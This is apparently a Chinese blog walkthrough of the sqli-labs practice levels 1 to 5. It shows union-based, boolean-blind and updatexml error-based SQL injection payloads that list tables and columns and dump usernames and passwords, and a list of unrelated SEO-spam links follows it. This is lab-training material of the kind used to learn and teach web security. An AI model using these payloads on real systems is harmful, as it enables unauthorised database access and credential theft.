当前位置: 首页 > news >正文

学院网站建设的特色淘宝关键词推广

学院网站建设的特色,淘宝关键词推广,河北建设厅网站初始密码,建设银行官网的网站首页目录标题 less-1判断列数查找数据库和版本信息查找数据库中的表爆破users表的列爆破xx表xx列的数据 Less-2判断类型判断注释符和回显点爆破数据库和版本信息爆破security数据库的表爆破users表的列名爆破表中数据 Less-3判断类型判断注释符和回显点爆破爆破版本号和数据库爆数据…

目录标题

  • less-1
    • 判断列数
    • 查找数据库和版本信息
    • 查找数据库中的表
    • 爆破users表的列
    • 爆破xx表xx列的数据
  • Less-2
    • 判断类型
    • 判断注释符和回显点
    • 爆破
      • 数据库和版本信息
      • 爆破security数据库的表
      • 爆破users表的列名
      • 爆破表中数据
  • Less-3
    • 判断类型
    • 判断注释符和回显点
    • 爆破
      • 爆破版本号和数据库
      • 爆数据库下的表
      • 爆表下的列
      • 爆xx列的数据
  • Less-4
  • Less-5(盲注)
    • 判断类型和注释符
    • 判断列数和回显点
    • 盲注攻击
      • 判断数据库名称
    • 报错注入

less-1

判断列数

使用注释符可以将报错信息注释掉

2,3列回显,第一列不回显所以我们不使用它,但是要存在,因为需要和union保持前后列数一致

查找数据库和版本信息

数据库:security

?id=-1' union select 1,version(),database() --+

查找数据库中的表

表:emails,referers,uagents,users

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆破users表的列

列:id,username,password

?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

爆破xx表xx列的数据

-1' union select 1,group_concat(username),group_concat(pasword) from users#

Less-2

判断类型

因为**?id=2-1的值和1**相同,是数字型

$sql="select * from tables where id=1 ";

判断注释符和回显点

2,3列回显

爆破

数据库和版本信息

爆破security数据库的表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

爆破users表的列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

爆破表中数据

?id=-1 union select 1,group_concat(username),group_concat(password) from users

Less-3

判断类型

输入2-1还是2的结果,字符型注入

判断注释符和回显点

可以看到报错信息

需要使用引号和)报错,注释符%23

利用方式闭合,一共有3列,回显点2,3列

爆破

爆破版本号和数据库

?id=-1') union select 1,version(),database() %23

爆数据库下的表

拿到几个数据表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" %23

爆表下的列

拿到3个数据列

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" %23

爆xx列的数据

拿到数据

?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

Less-4

观察报错信息

 '"1"")  #闭合方式为后面两个字符,即我们传入的双引号之后  ")

与less-3相比,闭合方式发生了变化

Less-5(盲注)

判断类型和注释符

无论输入什么,都是回显这个,除非是报错信息

看看注入类型,字符型

报错回显如下,双引号不报错,单引号报错

$sql="select * from xxx where $id="" ";

因为网页只回显次信息和报错信息,故初步判断,后端会接收前端的结果然后判断是true还是flase,然后处理回显,故是bool注入

可以利用**–+**注释

判断列数和回显点

利用order by判断为4报错

可以看到有3列

使用union判断回显点,但是只返回次字符串

盲注攻击

攻击流程如下

#判断数据库名长度
?id=1' and length(database())>=1 --+
?id=1' and length(database())>=10 --+
?id=1' and length(database())>=5 --+
?id=1' and length(database())>=7 --+
?id=1' and length(database())>=9 --+   #报错,说明长度为8#数据库名称爆破    security
?id=1' and substr(database(),1,1)='d' --+  #匹配子字符串,从第一位开始提取1位
?id=1' and substr(database(),2,1)='sa' --+  #从第2位开始提取1位
....剩下的burp爆破即可#爆破数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+  #limit限制字符长度,后续一个个爆破即可
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+     #查看users表下的列名
?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+   #查询列下的数据

成功回显,说明输入是正确的

无回显,说明数据库长度为8,即小于9

为8

判断数据库名称

无回显,说明第一个字符不位d

抓包添加变量,准备爆破

成功爆破出第一个字符s

剩下的字符一个个爆破即可

报错注入

# ?id=1' and 跟语句
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是’~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),查看se库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1),查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1),查看users字段下面的password字段

如下,查到数据库

查询表名,可以看到每次只能返回一个结果,需要调节查询字段,(第0位开始,查询两字符)

查询其他表名

查询users表下的字段

查询字段下的数据

http://www.cadmedia.cn/news/14058.html

相关文章:

  • 哪家网站建设公司郑州seo排名哪有
  • 建站行业span分析营销管理系统
  • 微信公众号小程序搭建win优化大师有免费版吗
  • 网站建设选哪家公司关键字排名软件官网
  • 网站置顶代码北京搜索引擎优化经理
  • 网站后台管理系统使用方法百度一下百度知道
  • 嘉兴自助建站软件深圳网络推广网络
  • 加强 政府 网站 建设项目网页设计首页制作
  • 西昌市建设工程管理局网站发布平台有哪些
  • 免费建网站的app在线域名查询网站
  • 网站建设中的ftp地址如何创建一个平台
  • 局域网网站怎么做优秀营销软文范例100字
  • 开封网站网站建设百度seo排名优化公司
  • 网站建设商怎么注册个人网站
  • 公众号如何做网站网络营销公司热线电话
  • siteground建站教程手机百度搜索
  • 建筑行业培训seo的流程是怎么样的
  • 千图网官网素材给你一个网站seo如何做
  • 网站建设与维护工作待遇整站快速排名
  • 微网站和门户网站的区别郑州seo阿伟
  • 为进一步加强校园网站建设建一个app平台的费用多少
  • 室内装修风格天津seo优化排名
  • 防城港seo公司郑州粒米seo外包
  • 佛山出格建站seo01网站
  • 现在还有做网站的必要吗电商网站设计模板
  • 手机网站设计教育类模板网上做广告推广
  • 推广网站有哪些比较好网站seo诊断报告怎么写
  • 品牌网站建设浩森宇特网站内部链接优化方法
  • 山东网站建设公司哪家专业重庆seo公司
  • 安徽海鹏建设工程有限公司网站建站seo推广